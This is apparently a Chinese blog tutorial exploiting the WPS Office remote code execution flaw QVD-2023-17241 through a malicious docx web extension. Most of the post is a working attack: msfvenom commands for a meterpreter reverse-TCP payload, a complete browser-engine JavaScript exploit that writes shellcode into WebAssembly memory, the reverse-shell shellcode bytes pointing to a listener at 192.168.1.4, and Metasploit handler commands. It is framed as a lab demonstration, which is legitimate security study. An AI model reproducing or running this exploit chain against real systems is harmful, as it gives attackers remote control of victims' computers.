WPS Office 代码执行漏洞(QVD-2023-17241)

目录

 

本地利用弹计算器(自娱自乐)

原理分析

msf的利用

1.修改win11中的hosts文件

2.MSF生成一个C#后门

3.shellcode替换

 4.在创建html的目录,用python打开http服务来捕获请求

5.开启监听

6.在win11中点击poc文档,可以看到kali中捕获的对1.html请求

7. 看到msf进入后渗透模块,攻击完成


 

本地利用弹计算器(自娱自乐)

修改本地hosts文件(在我的win11真实机失败了,在虚拟机中实验成功)

修改hosts文件

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

在1.html的目录中用python打开http,用看来捕获请求

python -m http.server 80

 然后直接在点开poc文档(放在顶部资源中)就可以弹计算器了。

 

原理分析

打开\word\webExtensions\webExtensions1.xml,可以看到

e704dc4a388344e2abadd5331a68fd6c.png

 7272caccda9a45a8ba0448db8fd31d44.png

 可以看到XML标签<wpswe:url></wpswe:url>中定义了访问的文件地址。docx文档中嵌入一个远程链接,当使用wps去打开文档时会去请求这个链接,由于WPS内部浏览器存在漏洞,会调用系统的api去执行攻击者在html中构造的恶意代码从而导致RCE。

 

msf的利用

1.修改win11中的hosts文件

192.168.1.4 clientweb.docer.wps.cn.cloudwps.cn

2.MSF生成一个C#后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 -f csharp > shellcode.c

3.shellcode替换

在kali中创建一个1.html文件,替换掉shellcode的变量(如果不成功的话,点击poc文档仍然弹出计算器的话,可以卸载掉wps重新进行安装。WPS中还存有删除shellcode变量之前的1.html文件的缓存,所以不需要请求网址中的1.html,依旧可以执行弹出计算器的命令)

5fd6a5d2065b4a33ac8c1620fba545c0.png

1.html源码(修改完shellcode)

<script>
if(typeof alert === "undefined"){
    alert = console.log;
}

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);

function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function gc(){ // major
    for (let i = 0; i < 0x10; i++) {
        new Array(0x100000);
    }
}

function foo(bug) {
    function C(z) {
        Error.prepareStackTrace = function(t, B) {
            return B[z].getThis();
        };
        let p = Error().stack;
        Error.prepareStackTrace = null;
        return p;
    }
    function J() {}
    var optim = false;
    var opt = new Function(
        'a', 'b', 'c',
        'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
        'g++;'.repeat(70));
    var e = null;
    J.prototype.d = new Function(
        'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
    J.prototype.a = new Function('a', 'a.b(0,a)');
    J.prototype.b = new Function(
        'a', 'b',
        'b.c();if(a){' +
        'g++;'.repeat(70) + '}');
    J.prototype.c = function() {
        if (optim) {
            var z = C(3);
            var p = C(3);
            z[0] = 0;
            e = {M: z, C: p};
        }
    };
    var a = new J();
    // jit optim
    if (bug) {
        for (var V = 0; 1E4 > V; V++) {
            opt(0 == V % 4 ? 1 : 4, a, 1);
        }
    }
    optim = true;
    opt(1, a, 1);
    return e;
}

e1 = foo(false);
e2 = foo(true);

delete e2.M[0];

let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8);

map.delete(hole);
map.delete(hole);
map.delete("asd");

map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1);

let obj_array = {
    m: 1337, target: gc
};

let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined;

let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
    if (d2u(oob_array[i])[0] === 0xa72) {
        object_idx = i;
        object_idx_flag = 1;
        break;
    }if (d2u(oob_array[i])[1] === 0xa72) {
        object_idx = i + 1;
        object_idx_flag = 0;
        break;
    }
}

function addrof(obj_para) {
    obj_array.target = obj_para;
    let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
    obj_array.target = gc;
    return addr;
}

function fakeobj(addr) {
    let r8 = d2u(oob_array[object_idx]);
    if (object_idx_flag === 0) {
        oob_array[object_idx] = u2d(addr, r8[1]);
    }else {
        oob_array[object_idx] = u2d(r8[0], addr);
    }
    return obj_array.target;
}

let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
    if (d2u(oob_array[i])[0] === 1337) {
        bk_idx = i;
        bk_idx_flag = 1;
        break;
    }if (d2u(oob_array[i])[1] === 1337) {
        bk_idx = i + 1;
        bk_idx_flag = 0;
        break;
    }
}

let dv = new DataView(ab);
function get_32(addr) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    let val = dv.getUint32(0, true);
    oob_array[bk_idx] = u2d(r8[0], r8[1]);
    return val;
}

function set_32(addr, val) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    dv.setUint32(0, val, true);
    oob_array[bk_idx] = u2d(r8[0], r8[1]);
}

function write8(addr, val) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    dv.setUint8(0, val);
}

let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length);

let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16));

const shellcode = new Uint8Array([0xfc,0xe8,0x8f,0x00,0x00,0x00,
0x60,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,
0x14,0x89,0xe5,0x8b,0x72,0x28,0x31,0xff,0x0f,0xb7,0x4a,0x26,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,
0x01,0xc7,0x49,0x75,0xef,0x52,0x8b,0x52,0x10,0x57,0x8b,0x42,
0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,
0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0x50,0x85,0xc9,0x74,
0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac,
0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,
0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,
0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,
0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,
0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,
0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,
0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,
0x6a,0x0a,0x68,0xc0,0xa8,0x01,0x04,0x68,0x02,0x00,0x11,0x5c,
0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,
0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,
0x75,0xec,0xe8,0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,
0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,
0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,
0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,
0x00,0x7d,0x28,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,
0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,
0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,
0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,
0xc1,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5
]);

for(let i=0;i<shellcode.length;i++){
    write8(rwx_mem+i,shellcode[i]);
}
f();
</script>

 4.在创建html的目录,用python打开http服务来捕获请求

python -m http.server 80

5.开启监听

msfconsolemsf6 > use exploit/multi/handlermsf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 192.168.1.4msf6 exploit(multi/handler) > set lport 4444msf6 exploit(multi/handler) > run

6.在win11中点击poc文档,可以看到kali中捕获的对1.html请求

6f9497c34451424aa4c1138f3ddde6d1.png

7. 看到msf进入后渗透模块,攻击完成

e56c8d04e078486090446e30396a45c0.png

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

偷吃"游"的阿彪

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值